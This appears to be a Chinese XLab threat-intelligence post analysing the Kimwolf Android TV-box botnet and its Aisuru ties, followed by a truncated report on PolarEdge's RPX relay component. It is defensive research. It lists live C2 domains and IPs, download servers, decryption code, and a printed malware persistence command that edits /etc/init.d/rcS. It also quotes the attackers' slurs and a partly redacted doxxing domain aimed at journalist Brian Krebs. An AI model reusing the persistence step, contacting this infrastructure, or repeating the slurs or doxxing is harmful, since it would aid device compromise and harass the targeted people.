Kimwolf 是一个使用 NDK 编译的僵尸网络，除具备典型的 DDoS 攻击能力外，还集成了代理转发、反向 Shell 和文件管理等功能。从整体架构来看，其功能设计并不复杂，但其中仍有一些值得关注的亮点：例如，该样本采用了简单而有效的栈异或（Stack XOR）操作对敏感数据进行加密；同时利用 DNS over TLS（DoT）协议封装 DNS 请求，以规避传统安全检测。此外，其 C2 身份认证采用基于椭圆曲线的数字签名保护机制，Bot 端会在验签通过后才接受通信指令。近期更引入EtherHiding技术以区块链域名对抗处置，这些特征在同类恶意软件中较为少见。从我们的分析结果来看，它主要针对Android平台电视盒子。C2 后台所显示的 “欢迎来到 Android Support Center” 信息也可以印证这一点。

Kimwolf样本中使用“niggabox + v数字”的命名规则来标识版本号，社区伙伴先前提供的样本为v4版本。我们在完成逆向分析之后，将样本的情报导入XLab大网威胁感知系统，陆续捕获包括v4、v5在内的多个相关样本，实现了对该家族的自动化持续跟踪。

11月30日，我们再次捕获到该僵尸网络家族的一个新样本，并成功接管了其中一个C2域名，从而首次获得了直接观测该僵尸网络真实运行规模的机会。基于与我们注册的C2地址建立连接、且通信行为符合Kimwolf C2协议特征的源IP数据进行统计，在12月3日至12月5日的三天内，共观测到累计约270 万个不同的源IP地址。其中，12月3日观测到约136万个活跃 IP，12月4日约183万个，12月5日约150万个（不同日期之间存在IP重叠）。分析表明，Kimwolf主要感染对象为部署在住宅网络环境中的电视盒子。由于住宅网络通常采用动态IP分配机制，设备的公网IP会随时间变化，因此无法仅通过 IP数量准确衡量被感染设备的真实规模。换言之，累计观测到的270万个IP地址并不等同于270万台被感染设备。

尽管如此，我们仍有充分理由认为，kimwolf实际感染的设备数量超过180万台。这一判断基于以下几个方面的观察：

kimwolf使用多个C2基础设施。我们接管的仅是其中一部分C2，因此只能观测到部分Bot的活动，无法覆盖整个僵尸网络的全貌。
在12月4日，我们观测到的Bot IP数量达到约183万，为历史峰值。当天，kimwolf 正常使用的部分C2被相关机构处置，导致大量Bot无法连接原有C2，转而尝试连接我们抢注的C2。这一异常事件使得更多Bot 在短时间内集中暴露，因此该日的数据可能更接近真实的感染规模下限。
被感染设备分布在全球多个时区。受时区差异和使用习惯影响（例如夜间关机、节假日不使用电视盒子等），这些设备并不会同时在线，进一步增加了通过单一时间窗口全面观测的难度。
kimwolf 存在多个不同版本，且不同版本使用的C2并不完全相同，这也是我们无法获取完整视角的重要原因之一

综合以上因素，我们保守估计 kimwolf 的实际感染设备数量已超过180万台。如此规模的僵尸网络具备发动大规模网络攻击的能力，其潜在破坏力不容忽视。

在努力跟踪新版本的同时，我们也对旧版本充满了好奇。通过溯源分析，虽然没能捕获v1,v2之类的旧版本，但是我们惊奇的发现Kimwolf居然和Aisuru僵尸网络关联在一起。Kimwolf运行时依赖一个APK文件将它加载启动，一个于10月7日由印度上传到VT的DEX文件表现出了和Kimwolf的APK明显的同源特征，随后在10月18日该DEX的母体APK于阿尔及利亚被上传至VT，该APK的资源文件包含x86,x64,arm3个CPU架构的Aisuru样本。我们推测此次活动初期，攻击者直接复用了 Aisuru 的代码展开活动；随后，可能由于 Aisuru 样本在安全产品中的检测率较高——与 IoT 生态相比，Android 平台具备更成熟的安全防护体系——该团伙决定重新设计并开发了 Kimwolf 僵尸网络，以增强隐蔽性，规避检测。

从XLab指令跟踪系统的监测数据来看，统计显示Kimwolf僵尸网络的主要功能通常集中于流量代理，少量DDoS攻击。然而在11月19日至22日期间，它突然“发疯”：短短的3天，下发了17亿条DDoS攻击指令，攻击范围几乎覆盖全球大量IP地址。这是C2域名流行度登顶事件之后，又一次高调且疯狂的行动，理论上来说如此多的攻击指令和攻击目标可能无法对目标产生实质性的攻击效果，这次行为可能是纯粹为了彰显自身存在感。

当前，安全社区对Kimwolf的认知呈现两极分化态势。公开情报领域信息稀缺，其传播路径尚未明确，相关样本及其C2域名在VirusTotal上的检出率极低。同时，由于采用（DOT）等隐蔽技术，其C2与样本之间的关联性也未能被有效发现。然而，在非公开的威胁对抗层面，情况截然不同。我们观察到Kimwolf的C2域名已被未知方成功处置至少三次，迫使其战术升级，转而利用基于区块链的命名服务（例如Ethereum Name Service，即 .eth 域名）来加固基础设施，显示出其强大对抗演化能力。鉴于Kimwolf已形成庞大攻击规模，且近期活动频率与攻击行为呈显著上升趋势，我方认为有必要打破情报沉默。特此发布本技术分析报告，公开相关研究成果，旨在推动威胁情报共享，凝聚社区力量共同应对此此类威胁，切实维护网络空间安全。

时间线

10月24日，社区信任伙伴向我们提供了首个 kimwolf 样本，版本为 v4。
11月1日至28日，Xlab 大网威胁感知系统独立捕获8个新样本，涵盖 v4 与 v5 版本。
12月1日，Xlab 成功接管 v5 版本中的一个 C2 域名，观测到的日活跃 bot IP数量峰值约达 183 万。
12月4日，Kimwolf C2域名被未知方处置，C2域名无法解析到有效的IP地址。

12月6日，Xlab再次捕获到新的 v5 样本，该样本启用6个新的 C2 地址。
12月8日，发现在野活跃的下载服务器，成功捕获kimwolf活动相关脚本。
12月10日，Kimwolf的新C2域名再次被处置

12月11日，Xlab再次捕获到新的 v5 样本，该样本的启用一个全新的C2域名，但C2端口并未开放；母体APK证书更新。
12月12日，Kimwolf再次升级基础设施，通过引入区块链的域名来增强C2的抗打击能力，以回应此前遭到的多次处置，甚至嚣张宣称“手握百台服务器，欢迎来封”。

感染规模 & 攻击能力

12月1日，我们成功接管了一个Kimwolf的C2域名，首次得以直接评估该僵尸网络的真实感染规模。从统计数据来看，累计感染IP超过366万，并于12月4日达到活跃峰值，单日节点IP高达1829977。我们的接管行动似乎触发了连锁反应，随后未知第三方对Kimwolf的其他C2基础设施实施了处置（如停止DNS解析）。此举破使Kimwolf的运营者不得不紧急进行升级，全面替换样本的C2配置，这导致我们观测到的数字急剧下降，当前日活规模在20万左右。

Kimwolf主要针对安卓平台，涉及电视、机顶盒，平板等设备，部分设备型号如下所示：

Device Model	Device Model	Device Model	Device Model
TV BOX	SuperBOX	HiDPTAndroid	P200
X96Q	XBOX	SmartTV	MX10

感染设备分布在全球222个国家和地区，排名前15国家分析为巴西14.63%，印度12.71%，美国9.58%，阿根廷7.19%，南非3.85%，菲律宾3.58%，墨西哥3.07%，中国3.04%，泰国2.46%，沙特
2.37%，印度尼西亚1.87%，摩洛哥1.85%，土耳其1.60%，伊拉克1.53%，巴基斯坦1.39% 。

熟悉DDoS的读者可能会好奇：“如此庞大的僵尸网络，其攻击能力究竟达到了何种水平？”虽然我们无法直接度量，但通过两次大型DDoS事件的观察以及与Aisuru的横向对比，我们认为Kimwolf的攻击能力已接近30Tbps。

某知名云服务商在11月23日22：09Z观测到一起2.3Bpps的攻击，参与攻击的IP数量为45万，我方确认Kimwolf参与其中。
某知名云服务商在12月9日09:35Z观测到的一起接近30Tbps，2.9Gpps攻击，经过数据比之后，双方确定Kimwolf参与其中。
Cloudflare在其2025第三季度的DDoS威胁报告指出Aisuru是目前已知攻击能力最强的僵尸网络之一，控制规模达百万级 IoT/网络设备，可持续发动 Tbps 级乃至峰值接近 30 Tbps、10+ Bpps 的超大规模 DDoS 攻击。

实际上，我们认为Cloudflare观测到多起被归因于Aisuru的攻击背后，可能并非只有Aisuru一个僵尸网络在活动，Kimwolf也可能参与其中，甚至是由Kimwolf主导。这两大僵尸网络在9月至11月期间通过相同的感染脚本传播，共存于同一批设备中，它们其实隶属于同一个黑客团伙。

Kimwolf与Aisuru关联

我们是如何发现Kimwolf与Aisuru的关联呢？一切要从10月25日捕获的APK样本 b688c22aabcd83138bba4afb9b3ef4fc 说起，它的文件名与包名分别为aisuru.apk和com.n2.systemservice0644。这个样本实现了一个恶意的Android启动接收器（Boot Receiver），能够在设备启动完成后自动运行。

其主要恶意行为是：从应用自身的res/raw/资源目录中，提取一个预置的二进制文件（通过资源ID R.raw.libniggakernel引用），并将其写入应用数据目录下，命名为niggakernel，随后将该文件权限设置为可执行。接着，样本会尝试通过su命令获取root权限来执行此恶意程序，实现持久化驻留与系统控制。

经分析，这个预置的二进制文件ji.so，实质上就是“kimwolf”恶意软件。之前安全社区向我们提供的样本，正是该文件脱壳后的版本。

以上述APK的种种特征为线索，我们发现APK（MD5:887747dc1687953902488489b805d965）具有明显的同源特征，比如使用相同的资源ID名libniggakernel，相同的包名systemservice0644，Log标识“LOL”，预置文件名ji.so等。

令我们惊奇的是，这个APK中预置的3个二进制文件c0.so, ji.so, q8.so并不属于kimwolf家族，而是AISURU僵尸网络。它们与我们9月15日分析报告中提及的样本053a0abe0600d16a91b822eb538987bca3f3ab55使用相同的tiananmeng C2和Reporter。

11月29日，更多证据浮出水面，两个先后从美国上传至VirusTotal的APK样本与上面俩个APK高性相似。经分析，它们lib目录中的libdevice.so分别对应“kimwolf”和“aisuru”新变种。

902cf9a76ade062a6888851b9d1ed30d
家族：kimwolf
包名：com.n2.systemservice063
so文件目录：/lib/armeabi-v7a/libdevice.so
8011ed1d1851c6ae31274c2ac8edfc06 ，
家族：aisuru
包名：com.n2.systemservice062
so文件目录：/lib/armeabi-v7a/libdevice.so

更为关键的是，这俩个APK使用了相同的签名证书，证书SHA1指纹为182256bca46a5c02def26550a154561ec5b2b983。该证书的内容特征，如Common Name:John Dinglebert Dinglenut VIII VanSack Smith具有高度独特性，在互联网上并无公开记录，由此可以判断，它们出自同一开发组织之手。

12月8日，我们终于有了一锤定音的证据，在样本下载服务器93.95.112.59上捕获的脚本中直接将kimwolf(mreo31.apk)和aisuru(meow217)关联在一起。

谨慎的读者或许会问：“是否存在一种可能，即Aisuru团伙的代码遭泄露或已转卖给了第三方？”坦白而言，这种可能性确实存在。所幸的是，上述11月29日捕获的Aisuru样本，虽然C2地址已更新，但仍复用了此前名为tiananmeng的Reporter。基础设施的复用强有力地排除了第三方复用代码的可能性。综上，我们有高度的信心将Kimwolf归属于Aisuru团伙。

技术细节

我们捕获的Kimwolf样本中可以分成v4，v5俩个大版本。在v4中，Kimwolf的作者或是出于恶趣味，或是出于表达政治态度，喜欢在控制台输出各种信息。例如：

样本 18dcf61dad028b9e6f9e4aa664e7ff92 输出 "ForeheadSDK v2.0 Premium Edition"

样本 2078af54891b32ea0b1d1bf08b552fe8 输出 "Kim Jong-un Leads Our Nation to Strength. Long live our Supreme"

最夸张的是样本1c03d82026b6bcf5acd8fc4bcf48ed00，除出输出一系列政治观点，还专门嘲讽知名网络安全调查记者Krebs，称其拥有“大脑门”（KREBSFIVEHEADFANCLUB），甚至戏谑地让Xlab团队“品尝童子蛋”（VIRGINBOYEGGSFORXLAB）。

Kimwolf的作者相当睚眦必报，我们抢注其C2之后，他们马上反击，在ssl_socket的DDoS攻击方法中，留下一个“彩蛋”对中国人进行污名化。对此，我们只想说：“别太嚣张，迟早得吃我们几记铁拳”。

idontlikemchineseniggas
becausetheylikeitrealyoung
myniggatheylikeit131415.com

v4与v5版本的核心恶意功能高度一致，其运作流程均可概括为：样本在受感染设备启动后，首先通过创建文件socket实现单一实例，确保同一设备上仅有一个进程持续运行；随后解密内嵌的C2域名，并为了规避常规检测，使用DNS-over-TLS协议向公共DNS服务（8.8.8.8或1.1.1.1）的853端口发起查询，以获取真实C2 IP；最终与该IP建立通信连接，进入等待状态，随时准备接收并执行来自控制端的指令。

v4与v5版本最显著的区别在于获取真实C2 IP的方式：v4版本直接使用DNS查询C2域名的A记录，而v5版本在查询到IP后，还需进行异或操作。以C2域名rtrdedge1.samsungcdn[.]cloud为例，其在12月3日解析出的IP为44.7.0.45，与0xce0491异或后得到真实的C2 IP 45.206.3.189。

12月12日Kimwolf开始使用EtherHiding技术，样本了引入一个 ENS 域名（Ethereum Name Service，以太坊名称服务），pawsatyou.eth，C2隐藏在“lol”的文本记录。

但真实C2并不是"lol"中的IPV6，而是取地址的后4字节再进行异或后得到真实IP。以fed0:5dec:ea5e:d013:130:9:1be7:8599为例，取后4字节1b e7 85 99与0x93141715后得到真实C2 IP 136.243.146.140。

ENS的技术本质是一套部署在以太坊上的智能合约系统，pawsatyou.eth的合约地址为0xde569B825877c47fE637913eCE5216C644dE081F。熟悉智能合约的读者不难理解这一设计背后的优势：Kimwolf通过合约实现了一种类似云端配置C2的渠道，即使C2 IP被处置，攻击者只需更新lol记录就能快速下发新的C2。而这个渠道本身依托于区块链的去中心化特性，不受以太坊或其他区块链运营方的监管，也无法被阻断。

总体来说，Kimwolf的功能并不复杂，下文将以12月9日捕获的样本为主要分析对象，从字串解密，单一实例，网络协议等方面剖析Kimwolf的技术细节。

MD5:3e1377869bd6e80e005b71b9e991c060
MAGIC:ELF 32-bit LSB executable, ARM, EABI5 version 1 (GNU/Linux), statically linked, no section header
PACKER: UPX

字串解密

Kimwolf使用简单的栈异或（Stack XOR）操作对C2， DNS Resolver等敏感数据进行加密。IDA反编译的伪码中可以看到大量类似的代码片段，veorq_s64是8字节的异或指令，所以说解密很简单可以使用正则提取出操作数，然后进行异或即可，下图示例中v63解密的内容正是C2 staging.pproxy1[.]fun

相信尝试过手动解密的读者都会觉得这非常不方便，会问有没有更高效的方法呢？答案是肯定的，稍加观察上图的代码片段，可知解密后的C2字串是函数sub_8F00的第2个参数。根据这个特点，可以借助模拟器实现C2的批量自动解密。

import flare_emu
eh=flare_emu.EmuHelper()
def iterateHook(eh, address, argv, userData):
    if eh.isValidEmuPtr(argv[1]):
        buf=eh.getEmuString(eh.getRegVal('R1'))
        print(f"0x{address:x} ---> {buf}")
eh.iterate(0x00008F00,iterateHook)

最终效果如下，成功解密出6个C2：

veorq_s64的指令码为VEOR Q8, Q8, Q9，通过它可以定位所有加密字串所在的函数。再根据在不同函数所呈现的模式，利用flare_emu的iterate或emulateRange就能方便的实现解密所有敏感字串。

单一实例

Kimwolf将自身进程名伪装为netd_services或tv_helper，并使用名为@niggaboxv[数字]的Unix域socket实现单一实例控制。这一组合特征可作为高置信度感染指标用于设备排查。

网络协议

Kimwolf的网络通信始终采用TLS加密。早期版本中，应用层协议直接承载于TLS隧道；在当前版本中，在发送register消息之前还会进行websocket握手，但后续并没有使用该协议。它的网络通信报文遵循“Header + Body”的固定格式。在Header中，Reserved字段为固定值1，而Magic则是已迭代变更三次，当前版本为“AD216CD4”；Body部分则是不同的功能有不同的结构。

type Header struct {
	Magic    [4]byte   // "DPRK" -> "FD9177FF" -> "AD216CD4"
	Reserved uint8    //1 
	MsgType  uint8
	MsgID    uint32
	BodyLen  uint32
	CRC32    uint32
}

MsgType字段则是用于说明消息类型，它的取值及对应的功能如下表所示：

Bot与C2服务器之间的通信初始化采用一种三阶段握手机制。双方必须顺序完成register、verify、confirm三次交互，实现双向身份认证后，才被视为建立可信会话。接下来，让我们以实际产生的网络流量来解释Bot与C2的交互过程。

Step1: Register, Bot ---> C2

Bot向C2 发送俩次18字节的Header，其中MsgType为0，MsgID，BodyLen，CRC32字段均为0，Magic为FD9177FF 。

Step2: Varify, C2 ---> Bot

C2使用私钥对随机消息生成椭圆曲线数字签名，并按以下格式构建报文Body部分。

type VerifyBody struct {
	MsgLen uint32
	Msg    []byte
	SigLen uint32
	Sig    []byte
}

示例中Body按上述结构体进行解析可知：

MsgLen为4字节
Msg为 xx xx xx xx
SigLen为0x47字节
签名

   #Signature


  00000000  30 45 02 20 14 ca ab 58 4d 88 b7 e2 26 f2 a0 80  |0E. .Ê«XM.·â&ò .|
  00000010  49 22 c9 b0 98 9e f4 2b f9 01 8e 4c 20 71 ed 17  |I"É°..ô+ù..L qí.|
  00000020  cc 57 b6 b4 02 21 00 e0 c7 92 cb 28 d8 c9 d7 66  |ÌW¶´.!.àÇ.Ë(ØÉ×f|
  00000030  4f 1b d0 80 b8 35 26 dd 68 65 93 f2 69 13 13 e8  |O.Ð.¸5&Ýhe.òi..è|
  00000040  42 bd a7 6d a8 04 92                             |B½§m¨..|

当Bot收到Verify报文时，会使用硬编码的公钥验签。验证通过后即进入最终的Confirm阶段。Kimwolf的作者设计这一机制，本意是保护其C2网络不被他人接管。

 #Publickey


00000000  30 59 30 13 06 07 2a 86 48 ce 3d 02 01 06 08 2a  |0Y0...*.HÎ=....*|
00000010  86 48 ce 3d 03 01 07 03 42 00 04 ed 6a a0 57 2d  |.HÎ=....B..íj W-|
00000020  53 02 ce 35 cc 0a 04 93 2d b4 86 c9 a8 e2 93 f5  |S.Î5Ì...-´.É¨â.õ|
00000030  69 07 86 0f 99 42 4b a6 5c 12 7a e7 12 48 56 ad  |i....BK¦\.zç.HV.|
00000040  34 b5 ae 92 ec 98 c9 bc e1 d8 15 dc 6e 1c 59 1b  |4µ®.ì.É¼áØ.Ün.Y.|
00000050  be 96 b8 a9 5b 95 46 34 19 5a d2                 |¾.¸©[.F4.ZÒ|

Step3: Confirm, Bot -> C2

Bot将运行时传入的第一个参数做为分组标识，并按照GroupBody结构进行构造，上报给C2。示例使用的分组字串为“android-postboot-rt“。

type GroupBody struct {
	MsgLen uint32
	Group    []byte
}

Step3 : Confirm, C2 -> BOT

C2服务器在收到Bot的Confirm报文后，会查验其所属分组是否已预先在活动中启用。若匹配成功，则确认该Bot身份合法，并向其回传一个Confirm响应报文。该响应报文的MsgType字段值为2，且MsgID、BodyLen、CRC32字段均置为0。

经过以上流程之后，Bot和C2才算完成双完身份的认证，Bot开始等待执行C2发下的指令。当指令号是12时，Kimwolf执行DDoS相关功能，相信熟悉Mirai的读者看到DDoSBody的肯定会心一笑，该结构正是源于Mirai。

Type DDoSBody struct {
	AtkID     uint32
	AtkType   uint8
	Duration  uint32
	TargetCnt uint32
	Targets   []Target
	FlagCnt   uint32
	Flags     []Flag
}

以下为Kimwolf支持的13种DDoS 攻击方法。

指令跟踪

从Xlab的数据看Kimwolf僵尸网络的主要指令是利用Bot节点提供代理服务，占所有指令的96.5%。其余为DDoS攻击指令。DDoS攻击目标遍布全球各个行业。攻击目标主要集中在美国、中国、法国、德国、加拿大等地区。

迷之攻击，3天17亿

11月19日到22日，Kimwolf在短短的3天时间内，下发了高达17亿条指令，随机攻击全球大量IP地址。我们不清楚它为什么会有这种让人迷惑的攻击行为，因为这些攻击可能也无法对目标地址造成实质性的伤害。甚至一度怀疑是不是我们自己产生的BUG导致了这些异常。直到与我们多家头部云服务商进行数据核验后，才最终确认——Kimwolf 就是这么疯狂，它确实是扫射了整个互联网。

嚣张的攻击Payload

Kimwolf时常在DDoS的Payload中夹带各种嘲笑，挑衅，甚至勒索信息。

嘲讽

挑衅

勒索

额外的组件

在此次活动中，攻击者了为了最大限度的榨干被入侵设备的带宽，利益最大化。除了Kimwolf和Aisuru之后，还投入了Rust语言实现的Command Client以及ByteConnect SDK。

1: Command Client

Command Client的目的是组建代理网络，它以代理 socks 为目标, 从 C2 接收代理请求, 并将代理结果返回给 C2。

样本会将 CC 地址以密文形式保存在 rodata 段, 解密算法并不复杂, 为同长密码表的按字节异或.

def dec(encbts):
    tb1_off = 0
    tb2_off = 0x058BCD2 - 0x058BCA0
    bts = []
    for i in range(0, 0x30*4):
        bts.append(chr(encbts[tb1_off+i] ^ encbts[tb2_off+i]))
    return("".join(bts[:0x32]))

基于我们手中的样本, 可还原出两条CC地址, 分别如下:

proxy-sdk.14emeliaterracewestroxburyma02132.su:443
sdk-bright.14emeliaterracewestroxburyma02132.su:443

2: ByteConnect SDK

所谓ByteConnect SDK 是一款变现解决方案，可帮助开发者在各种平台上通过应用程序创收，他们宣称自己的 SDK 设计轻巧、安全，易于集成，它无广告，无加密货币挖矿，不影响性能，对用户体验的影响极小，用户甚至不会察觉到它的存在。

Downloader脚本下载的mreo12正是ByteConnect SDK。

ByteConnect的主页有一个收入计算公式：1万个接入点客，70% Opt-in Rate，每月将有490美元的收入。以Kimwolf 180万的规模来说，其背后的组织每月通过ByteConnect赚取的惊人的88200美元。

小小八卦

调查发现，Kimwolf的作者对知名网络安全调查记者Brian Krebs表现出近乎“痴迷”的执念，在多个样本中留下与他相关的彩蛋。

样本2078af54891b32ea0b1d1bf08b552fe8中，其udp_dns与mc_enc攻击方法中均嵌入了域名fuckbriankrebs[.]com，用于生成DNS查询载荷。

样本1c03d82026b6bcf5acd8fc4bcf48ed00的控制台输出中，更是直接出现了 KREBSFIVEHEADFANCLUB 字样，直译为 “Krebs大脑门粉丝俱乐部”，哈哈，妥妥的“黑粉”行为。

除了这种直接的“致敬”，还有隐藏更深的“爱”。我们接管的C2域名fuckyoukrebs1.briankrabs.seanobrien[redacted]ssn[redacted].su，除了明面上Krebs俩次，这一域名还暗藏玄机：seanobrien[redacted]对应的可能是Krebs的实际住址，ssn[redacted]则可能是其社会安全号码。如此行为，堪称网安世界的“私生饭”，着实让人发憷。

总结

这是我们目前掌握的Kimwolf僵尸网络的大部分情报。巨型僵尸网络始发于2016年的mirai，感染的目标主要集中在家庭宽带路由器，摄像头等IoT设备上。然而近年来 Badbox、Bigpanzi、Vo1d、Kimwolf等多个百万级巨型僵尸网络信息被披露，表明部分攻击者开始将注意力转向多款智能电视、电视盒子。这些设备普遍存在固件漏洞、预装恶意组件、弱口令以及缺乏安全更新机制等问题，极易被攻击者长期控制并用于大规模网络攻击。我们披露本次Kimwolf僵尸网络的动机之一，就是呼吁安全社区对智能电视相关设备给予应有的重视。

智能电视被攻击者拿到root权限后，带来的攻击不限于传统的网络空间，攻击者可以利用受控终端插播被篡改、有偏向或者极端视频，在许多国家的法律体制中，未经书面许可插播内容是破坏了观众和电视节目供应商的契约，是违法行为。例如，美国华盛顿特区 HUD 总部的电视设备曾被黑客篡改并播放一段未经授权的 AI 伪造视频（内容为特朗普亲吻马斯克脚趾，并附带LONG LIVE THE REAL KING字样），引发了显著的公共安全与舆论风险，等等。这是我们披露本次Kimwolf僵尸网络的动机之二，呼吁执法机构考虑对此类对智能电视相关的涉嫌违法行为加以审查。

在多重威胁叠加的背景下，无论是普通电视盒子用户、销售渠道、运营商，还是监管部门与厂商，都必须高度重视电视盒子的安全。其中，电视盒子用户尤其应当：确保设备来源可靠、使用可及时更新的固件、避免设置弱密码，并拒绝安装来路不明的 APK，以降低被僵尸网络感染和操控的风险。

如果您对我们的研究感兴趣，或了解与Kimwolf相关的线索，欢迎通过微信公众号留言与我们联系。

关心IOC的读者，可点击下文的阅读原文，移步至XLAB官方博客原文的IOC章节以获取更多内容。

阅读原文

跳转微信打开

锁定ORB网络PolarEdge的关键拼图: RPX中继系统浮出水面

Wed, 29 Oct 2025 11:37:00 +0800

原创奇安信X实验室 2025-10-29 11:37 北京

背景介绍

2025年5月30日，奇安信Xlab大网威胁感知系统监测到IP地址 111.119.223.196正在传播一个名为“w”的ELF文件。AI检测模块将其标注为与PolarEdge相关，而该文件在VirusTotal上的检测结果为零。这一发现引发了PolarEdge是否已悄然启动新一轮活动的猜测。带着好奇，我们展开了深入调查。经过一系列关联分析，一个此前从未被公开记录的组件RPX_Client浮出水面。该组件的主要功能是将受控设备接入指定C2节点的代理池，为其提供代理服务，并支持远程命令执行。

PolarEdge由法国安全厂商Sekoia于2025年2月25日首次披露。该威胁利用存在漏洞的IoT，边缘网络设备，并结合购买的VPS，疑似构建一个“运营中继盒子”（Operational Relay Boxes, ORB）网络，用以协助实施各类网络犯罪活动。ORB网络在功能上类似住宅代理，它的核心目标并非直接实施破坏性攻击，而是致力于长期潜伏与流量混淆，属于典型的基础服务型恶意架构。

ORB网络在规避检测，隐藏网络攻击的来源，复杂化归因分析等方面的突出表现，让其倍受APT级攻击者的青睐，是2025年网络安全领域的热点之一。针对ORB网络的这一特性，安全厂商Mandiant甚至提出了 "ORB兴起，IOC消亡"的观点，认为ORB网络可能削弱传统威胁指标（IOC）在攻击检测与活动归因中的有效性。

2025年8月和9月，美国资产测绘厂商Censys先后发布了两篇关于PolarEdge的研究报告，他们过证书关联重点分析了一大批基础设施。在9月23日的报告中，Censys披露了一个名为RPX_SERVER的服务端程序，核心功能是充当反向连接代理网关。但因被告知相关证书并非攻击者独有，Censys对于将这些设施以及RPX_Server与PolarEdge明确关联的信心有所下降。

然而，从Xlab的视角来看，我们有极高的信心将Censys原始报告中提及的部分使用PolarSSL测试证书的基础设施以及RPX_Server归因于PolarEdge。这一判断主要基于此次捕获的RPX_Client样本所带来的独特情报，具体依据如下：

传播RPX_Client的脚本的编码风格，以及ELF样本w与已知的PolarEdge样本呈现出明显的同源特征。
RPX_Client与RPX_Server在功能上高度契合，正如其命名所示，二者构成了典型的客户端-服务器关系。
在一个RPX_Server的数据库中发现了通过111.119.223.196传播RPX_Client的记录。
部分使用PolarSSL测试证书的服务器能够正确处理RPX_Client的请求，这些服务器上部署了RPX_Server实例。

RPX_Server与RPX_Client的相继发现，使我们有机会更深入地探究PolarEdge背后的中继运行机制、基础设施。成果是喜人的，在运行机制层面，我们逐步摸清了PolarEdge如何借助RPX_Server、Go-Admin与Nginx实现节点管理与业务分发；在基础设施层面，目前已识别出140个C2服务器，并发现总计超过25000个感染节点IP。然而必须承认，任何单一厂商的监测视野都存在其局限性，对一项威胁的透彻解析往往离不开行业内的广泛协作。为更好地研究PolarEdge这一ORB网络，我们决定撰写本文向社区分享相关发现，希望Sekoia、Censes、Xlab的研究成果能够为后续对PolarEdge的深入探索奠定基础。

第一部分：基础设施与感染规模

140个命令与控制服务器

我们通过不同时间段的脚本q捕获了10个的RPX Server IP，它们都使用55555端口，该端口共享同一个公开的PolarSSL测试证书。

以证书+ 端口55555这一模式作为特征，通过奇安信网络空间测绘系统鹰图平台，我们初步识别出161个IP，再基于逆向工程所得的通信协议对这批资产进行了验证，确认其中140个IP为可正常交互的有效RPX Server。(注：目前，IP 8.219.214.27虽然无法正常交互，但通过与其他数据比对，我们确认该IP仍属于RPX服务器。）

这140个Server本身也呈现很有意思的特征，它们都是VPS节点，集中分布在ASN45102，ASN37963，ASN132203，隶属于阿里云和腾讯云。

通过逆向，我们也发现了API接口可将这些服务器代理池中的节点生成clash配置文件供各类攻击者或某个特定活动使用。

25000个被感染的IoT & 路由器

通过技术手段，我们获取了部分RPX客户端数据集。数据涵盖IP、brand、createAt、onlineTime等字段，使我们能够从感染规模、地理分布及设备类型等多个维度，对PolarEdge RPX进行深入分析。

统计数据显示，自2024年7月以来，已累计感染超过25,000个IP，且感染规模呈现持续上升趋势。

感染设备分布在40个国家地区，主要集中在东南亚以及北美。排名前十的国家分别为：韩国41.97%，中国20.35%，泰国8.37%，马来西亚5.98%，印度3.79，以色列3.73%，美国3.69%，越南2.56%，印度尼西亚2.12%，俄罗斯1.19%。

RXP Client 在向 Server 上报信息时，通过 brand 字段来标识设备的分组或类型，ktcctv和tvt是主要被感染设备，占比超过90%。

第二部分：时间线与关联分析

捕获新脚本的时间线

2025年4月27日，我们监测到攻击者利用 CVE-2023-20118 通过111.119.223.196传播一个名为s的脚本，遗憾的是，当时由于网络故障这一脚本并没有被捕获。
2025年5月30日，IP 111.119.223.196传播一个名为 w 的ELF文件，其下载链接为 111.119.223.196:51715/w。经查，该文件早在2023年12月25日就曾由IP 82.118.22.155传播。通过分析IP 82的历史活动，我们发现一个清晰的传播链条："脚本a → w → 脚本q"。
这给了我们启发：当前的IP 111可能也存在相同的链条。于是，我们展开了主动狩猎，将 "111.119.223.196:51715/q" 这一地址纳入了Xlab的Payload监控系统。
2025年6月2日，成功捕获了脚本q，它为我们带来了本文的研究主角——rpx_client。值得一提的是，根据Payload监控系统的记录，IP 111并未持续提供下载服务，脚本q仅处于间歇性的可下载状态。

2.2: 归属于PolarEdge的原因

82.118.22.155的角色

VT数据显示，IP地址 82.118.22.155 曾在2023年12月传播过一个Shell脚本a及一个ELF格式的可执行文件w，表明其很可能是一个Downloader服务器。PDNS记录进一步显示，域名 beastdositadvtofm[.]site 在同一时期曾解析至该IP。此外，该域名与Sekoia披露的C2域名 icecreand[.]cc 和 centrequ[.]cc 的CNAME记录均指向同一主机：jurgencindy.asuscomm.com。基于上述强关联，我们有信心将该域名与IP归因于PolarEdge基础设施。

最近我们在整理PolarEdge样本时又发现石锤性的证据，该域名和IP均出现在一个PolarEdge后门样本解密后的C2配置中，所以82.118.22.155至少在2023年12期间是PolarEdge的基础设施，传播的样本a, w极有可能用于下载PolarEdge后门。样本a，w是PolarEdge背后的团伙开发，它们本身体现出的特征能够作为归因判断的依据。

ELF样本相似性

样本 w 新增了两个未加密的 Section：xxxx 与 cccc。相比之下，已知的 Polaredge 样本则拥有两个经过加密的 Section：init_text 和 init_rodata。尽管存在加密与否的差异，但新增区段这一行为本身，已体现出两者在设计理念上的一致性。

更重要的是，w所支持的参数字符串以及与HTTP协议相关的字段（如Host、User-Agent等）具有非常独特的特征，与PolarEdge后门样本存在明显同源关系。我们认为，w实际上是从PolarEdge后门核心代码中剥离出的Connect-back模块，其专门职能是下载后续有效载荷。这一点从w唯一支持的"curk"模式中得到了进一步印证——该名称很可能是"curl"的拼写错误（或是某种刻意致敬），这也从侧面佐证了其专门作为“下载工具”的功能定位。

脚本相似性

111.119.223.196和82.118.22.155不仅共同一个w，它们传播的脚本也高度相似，风格几乎一模一样。

综上所述，我们确认IP地址111.119.223.196是PolarEdge的资产。此次活动通过脚本q和w传播的新样本RPX_Client归属于PolarEdge，它是该威胁首次发现的的中继组件。

第三部分：技术细节

脚本q的功能

我们一共捕获了11个不同hash值的脚本q，由于它们有使用混淆技术，因此分析上并没有难度。它们的功能几乎一模一样，核心目的为下载执行rpx组件，只是供rpx回连的C2有所差异。

下载wget.tar

使用w下载wget.tar，注意w的参数，其中m表示模式，h是远程主机，e是端口，f是本地路径，q是远程路径。

wget.tar 压缩包内包含两个文件：rpx 和 rpx.sh。其中，rpx 是本文的分析核心，即 rpx_client；而 rpx.sh 则是一个用于持久化的脚本。通过执行 echo "/bin/sh /mnt/mtd/rpx.sh &" >> /etc/init.d/rcS 命令，将 rpx.sh 注入到 rcS 初始化脚本中，从而实现了持久化驻留。

启动rpx核心组件

